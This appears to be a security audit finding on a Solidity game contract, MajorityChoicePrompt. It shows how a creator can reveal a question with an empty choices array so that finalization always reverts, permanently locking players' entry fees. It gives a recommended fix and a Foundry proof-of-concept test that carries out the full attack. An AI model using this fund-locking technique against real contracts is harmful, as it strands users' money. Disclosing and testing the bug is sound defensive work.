A critical vulnerability exists in the MajorityChoicePrompt contract that allows a malicious creator to permanently lock all funds within a game session. The issue stems from an unvalidated choices array parameter in a revealed question, which leads to an inevitable out-of-bounds revert during the game's finalization process.
The core of the vulnerability lies in two areas:
Unvalidated Parameter in revealQuestion: The MajorityChoicePrompt.sol contract does not enforce a minimum length on the choices array when a creator reveals a question. A creator can commit the hash of a prompt where the choices array is empty (choices.length == 0) and subsequently reveal it. The contract accepts this malformed question data without validation.
Out-of-Bounds Revert in recordSolution: For a game to be finalized and rewards distributed, the DefaultSession.recordResults contract must successfully call the recordSolution function on the prompt contract for each question. However, MajorityChoicePrompt.recordSolution contains the following access:
// src/prompt/MajorityChoicePrompt.sol:218-219
uint16 selection = abi.decode(solution, (uint16));
q.finalizedAnswer = q.choices[selection];
When q.choices is an empty array, any attempt to access an element (e.g., q.choices[0]) is an out-of-bounds operation. This causes the transaction to revert with a panic error, making it impossible for recordSolution to ever be successfully executed for this question.
Since players join a game before question parameters like the choices array are revealed, they have no way of knowing they are entering a maliciously configured game designed to lock their funds.
The impact is a permanent Denial of Service (DOS) for fund withdrawal for any game utilizing the MajorityChoicePrompt. A creator can wait for a significant prize pool to accumulate from entry fees and sponsorships, and then trigger this condition, ensuring no one can ever claim their rewards or get a refund.
Attack Scenario:
MajorityChoicePrompt question, committing the hash of a prompt with an empty choices array.revealQuestion, providing the question data with the empty choices array. The contract accepts this.Ended state. Any attempt by players to reveal their answer to the malformed question would also revert, but this is not required for the attack.DefaultSession.recordResults.recordResults attempts to call MajorityChoicePrompt.recordSolution to finalize the question's outcome.recordSolution immediately reverts due to the out-of-bounds access on the empty choices array.recordResults fails, the list of winners is never populated in the DefaultSession contract.concludeGame and concludeGameIfCreatorMissing will always revert because a list of winners has not been set.cancelGameIfCreatorMissing will revert because all questions were successfully "revealed" and this prompt type does not have a "solution pending" state that would allow cancellation.The contract must be hardened to prevent the acceptance of malformed question data that makes finalization impossible.
Enforce a Minimum Number of Choices
The most critical fix is to enforce a sensible minimum bound on the choices array length within the revealQuestion function. A majority-choice question is not logical with fewer than two choices. This check completely prevents the vulnerability.
Implementation: In MajorityChoicePrompt.sol, add a check within the revealQuestion function.
// In MajorityChoicePrompt.sol, define a new error
error NoChoicesProvided();
// In revealQuestion function
function revealQuestion(bytes memory question, uint256 questionId) external {
Prompt memory q = abi.decode(question, (Prompt));
// --- SUGGESTED ADDITION START ---
if (q.choices.length < 2) {
revert NoChoicesProvided();
}
// --- SUGGESTED ADDITION END ---
// ... existing logic ...
}
Here is a PoC to prove the issue and also that users can't do anything to cancel or conclude the game. You can add the PoC to FullGameTest.t.sol and call it with -vvvv to check all of the out-of-bounds reverts that happen on assertionResolvedCallback.
// PoC: MajorityChoice with empty choices array causes permanent DoS
// - Creator commits a MajorityChoice question with choices.length == 0
// - At reveal, the prompt accepts it (no length check) and marks question revealed
// - Any user reveal reverts (out-of-bounds when indexing choiceCounters)
// - Later, recordResults -> recordSolution for this question reverts when indexing q.choices[selection]
// - Therefore: winners never recorded, conclude fails, and cancel-if-creator-missing also fails
function test_MajorityChoice_EmptyChoices_PermanentDoS() public {
// Arrange fresh game
uint32 s = uint32(block.timestamp + sessionManager.minimumStartDelay() + 1);
uint32 e = s + 60;
// Build local question arrays with Q1 having empty choices
bytes32[] memory hashes = new bytes32[](3);
address[] memory strategies = new address[](3);
uint256[] memory salts = new uint256[](3);
// Use an existing well-formed MajorityChoice question from setUp
hashes[0] = hash1; strategies[0] = majorityChoicePromptStrategy; salts[0] = salt1;
// Craft MajorityChoice with empty choices
(, bytes memory emptyEncoded, bytes32 emptyHash, uint256 emptySalt) =
createMajorityChoiceQuestion("empty choices", new string[](0), 10);
hashes[1] = emptyHash; strategies[1] = majorityChoicePromptStrategy; salts[1] = emptySalt;
// Use an existing SPBinary for the third question to keep flow realistic
hashes[2] = hash3; strategies[2] = spBinaryPromptStrategy; salts[2] = salt3;
// Create game
uint256 gid;
vm.startPrank(creator);
gid = sessionManager.createGame(
s,
e,
10 ether,
10,
usdc,
creator,
hashes,
strategies,
sessionStrategy,
rewardStrategy,
false
);
vm.stopPrank();
// 3 contestants join
for (uint256 i = 0; i < 3; i++) {
vm.startPrank(contestants[i]);
TestUSDC(usdc).approve(address(sessionManager), 10 ether);
sessionManager.joinGame(gid);
vm.stopPrank();
}
// Reveal questions (including the malformed empty-choices question)
uint256[] memory qIds = sessionManager.getQuestionsForGame(gid);
vm.warp(s);
vm.startPrank(creator);
DefaultSession(sessionStrategy).setXPTiers(gid, Solarray.uint256s(100, 1));
FixedRanksReward(rewardStrategy).setRankedRewards(gid, Solarray.uint256s(10_000));
// Start with Q0 (valid MajorityChoice)
sessionManager.startAndRevealGameQuestion(gid, qIds[0], q1Encoded, salts[0]);
// Reveal Q1 (empty choices)
sessionManager.revealGameQuestion(gid, qIds[1], emptyEncoded, salts[1]);
// Reveal Q2 (SPBinary)
sessionManager.revealGameQuestion(gid, qIds[2], q3Encoded, salts[2]);
vm.stopPrank();
// Demonstrate that a user cannot reveal on the empty-choices question (OOB revert)
uint256 userSalt = 777;
vm.startPrank(contestants[0]);
// Commit succeeds
sessionManager.commitReaction(gid, qIds[1], keccak256(abi.encodePacked(gid, qIds[1], uint16(0), userSalt)));
// Reveal reverts when it tries to push into choiceCounters[selection] where outer length == 0
vm.expectRevert();
sessionManager.revealReactions(
gid,
Solarray.uint256s(qIds[1]),
Solarray.bytess(abi.encode(uint16(0))),
userSalt
);
vm.stopPrank();
// End game
vm.warp(e);
vm.prank(creator);
sessionManager.endGame(gid);
// Allow reaction windows to elapse so recordSolution deadline guard passes
vm.warp(block.timestamp + 60);
// UMA assert and resolution path; recordResults will try to recordSolution for each question
vm.mockCall(
address(optimisticOracle), abi.encodeCall(OptimisticOracleV3Interface.getMinimumBond, (usdc)), abi.encode(0)
);
vm.mockCall(
address(optimisticOracle),
abi.encodeWithSelector(OptimisticOracleV3Interface.assertTruth.selector),
abi.encode(bytes32(uint256(0xBEEF)))
);
bytes32 aId = ISessionStrategy(sessionStrategy).assertResults(
gid,
"ipfs://results",
Solarray.addresses(contestants[0]),
Solarray.uint256s(1),
Solarray.uint256s(1),
// Solutions: Q0 (Majority): selection 0, Q1 (Majority empty): selection 0 → will revert, Q2 (SPBinary): true
Solarray.bytess(abi.encode(uint16(0)), abi.encode(uint16(0)), abi.encode(true))
);
// Oracle resolves truthfully — but recordResults will revert on Majority empty choices (indexing q.choices[0])
vm.startPrank(optimisticOracle);
vm.expectRevert();
SessionResultAsserter(sessionStrategy).assertionResolvedCallback(aId, true);
vm.stopPrank();
// Conclude fails: winners not written due to recordSolution revert
vm.startPrank(creator);
vm.expectRevert();
sessionManager.concludeGame(gid);
vm.stopPrank();
// Creator missing conclude also fails (after grace)
vm.warp(e + 1 days);
vm.expectRevert();
sessionManager.concludeGameIfCreatorMissing(gid);
// Cancel-if-creator-missing fails: all questions revealed; revealSolutionPending returns false
vm.expectRevert();
sessionManager.cancelGameIfCreatorMissing(gid);
}